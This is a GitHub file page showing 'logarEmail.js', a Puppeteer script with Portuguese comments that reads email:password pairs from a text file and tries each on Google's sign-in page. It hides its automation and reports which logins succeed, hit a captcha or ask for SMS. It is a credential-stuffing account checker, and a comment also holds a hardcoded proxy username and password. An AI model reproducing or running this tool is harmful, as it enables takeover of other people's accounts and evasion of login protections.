-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
logarEmail.js
106 lines (86 loc) · 3.77 KB
/
logarEmail.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
const puppeteer = require("puppeteer-extra");
StealthPlugin = require("puppeteer-extra-plugin-stealth");
const AnonymizeUAPlugin = require("puppeteer-extra-plugin-anonymize-ua");
const path = require("path");
const fs = require('fs');
const AdblockerPlugin = require("puppeteer-extra-plugin-adblocker");
puppeteer.use(AnonymizeUAPlugin());
puppeteer.use(
AdblockerPlugin({
blockTrackers: true,
})
);
async function crawler(email, senha) {
const browser = await puppeteer.launch({
headless: false,
defaultViewport: null,
ignoreDefaultArgs: ["--disable-extensions"],
args: [
'--disable-blink-features=AutomationControlled',
'--window-size=800,600',
'--window-position=1921,0',
'--incognito',
//'--proxy-server=la.residential.rayobyte.com:8000',
// "--start-maximized",
// "--no-sandbox",
// "--disable-setuid-sandbox",
// "--user-data-dir=F:\\data",
// '--enable-automation', '--disable-extensions', '--disable-default-apps', '--disable-component-extensions-with-background-pages'
],
});
const page = await browser.newPage();
/*await page.authenticate({
username: 'succxulicorbernal_gmail_com',
password: 'tq45WY2ZlZGoJ'
})*/
await page.setBypassCSP(true);
let login_link = "https://accounts.google.com/v3/signin/identifier?hl=en-gb&ifkv=ARZ0qKJXKmNU4Yds7fgJdItpqRt-iuh0xEt9dshiUg_sEKfmE2JOf6UaPeSbl5sU4omPij5Xo43CKg&theme=mn&ddm=0&flowName=GlifWebSignIn&flowEntry=ServiceLogin&continue=https%3A%2F%2Faccounts.google.com%2FManageAccount%3Fnc%3D1";
await page.goto(login_link);
await page.waitForSelector('input[name="identifier"]');
await page.type('input[name="identifier"]', email);
await page.click('#identifierNext > div > button > span');
await page.waitForSelector('input[name="identifier"]');
await new Promise(function (resolve) { setTimeout(resolve, 5000) });
if (page.url().includes('https://accounts.google.com/v3/signin/challenge/recaptcha?')) {
await new Promise(function (resolve) { setTimeout(resolve, 10000) });
console.log('pediu captch' + email);
}
await page.waitForSelector('#passwordNext > div > button > span');
await new Promise(function (resolve) { setTimeout(resolve, 2000) });
await page.type('input[name="identifier"]', senha);
await page.click('#passwordNext > div > button > span');
await new Promise(function (resolve) { setTimeout(resolve, 10000) });
if (page.url().includes('https://accounts.google.com/speedbump/idvreenable?')) {
console.log('Pedindo SMS: ' + email);
} else {
if (page.url().includes('https://myaccount.google.com/')) {
console.log('FUNCIONOU: ' + email);
} else { console.log(page.url()); }
}
await browser.close();
}
async function TestarEmail() {
fs.readFile('emailtestar.txt', 'utf8', async (err, data) => {
if (err) {
console.error('Erro ao ler o arquivo:', err);
return;
}
// Dividir as linhas em um array
const linhas = data.split('\n');
await percorrerLista(linhas);
});
}
async function percorrerLista(lista) {
for (const item of lista) {
const [email, senha] = item.split(':');
// Aqui você pode fazer o que quiser com os valores de email e senha
if (email.trim() == '') {
return;
}
//console.log('testando:', email);
await crawler(email, senha);
}
console.log('Todos os itens foram processados.');
}
// Chamar a função passando o nome do arquivo como argumento
TestarEmail();